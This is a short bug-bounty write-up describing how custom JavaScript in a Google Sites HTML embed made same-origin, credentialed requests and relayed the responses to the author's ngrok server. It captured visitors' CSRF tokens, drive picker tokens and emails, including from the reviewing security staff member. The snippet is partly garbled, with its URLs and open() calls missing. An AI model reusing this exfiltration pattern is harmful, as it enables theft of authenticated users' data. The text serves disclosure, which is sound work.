Google sites and exploiting same origin policy.

I was learning about the same origin policy i.e; Response of ajax call can be captured only if the call is from same origin or headers like Access-Control-Origin/Credentials is present. (In simpler terms).

Google sites have an option to embed custom HTML and javascript. They are using Google Caja sandbox for security. I have noticed that if any ajax call is called from google sites embed plugin, then the origin remains to be I decided to call itself from the HTML plugin.

I inserted the following JS code in the HTML plugin of<redacted_any_site_name>

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
 if (xhttp.readyState == 4 && xhttp.status == 200) {
 var data=xhttp.responseText;
 var xhttp1= new XMLHttpRequest();“POST”,”",true);
};“GET”, “", true);
xhttp.withCredentials = true;

Once the authenticated user visited<redacted_any_site_name> I was able to get the victim’s sensitive information including CSRF token, drive picker token, emails, sites they are managing, currently logged in sites, etc. on my server logs via ngrok tunnel I have used in above code i.e.

It happens because I was calling from the same origin and hence able to capture the response.

After a few discussions, the bug was closed as Intended Behavior. I laughed because I know its a valid bug. Then again I re-opened it, I was able to capture details of security person checking this bug (

Bounty Awarded: $3133.70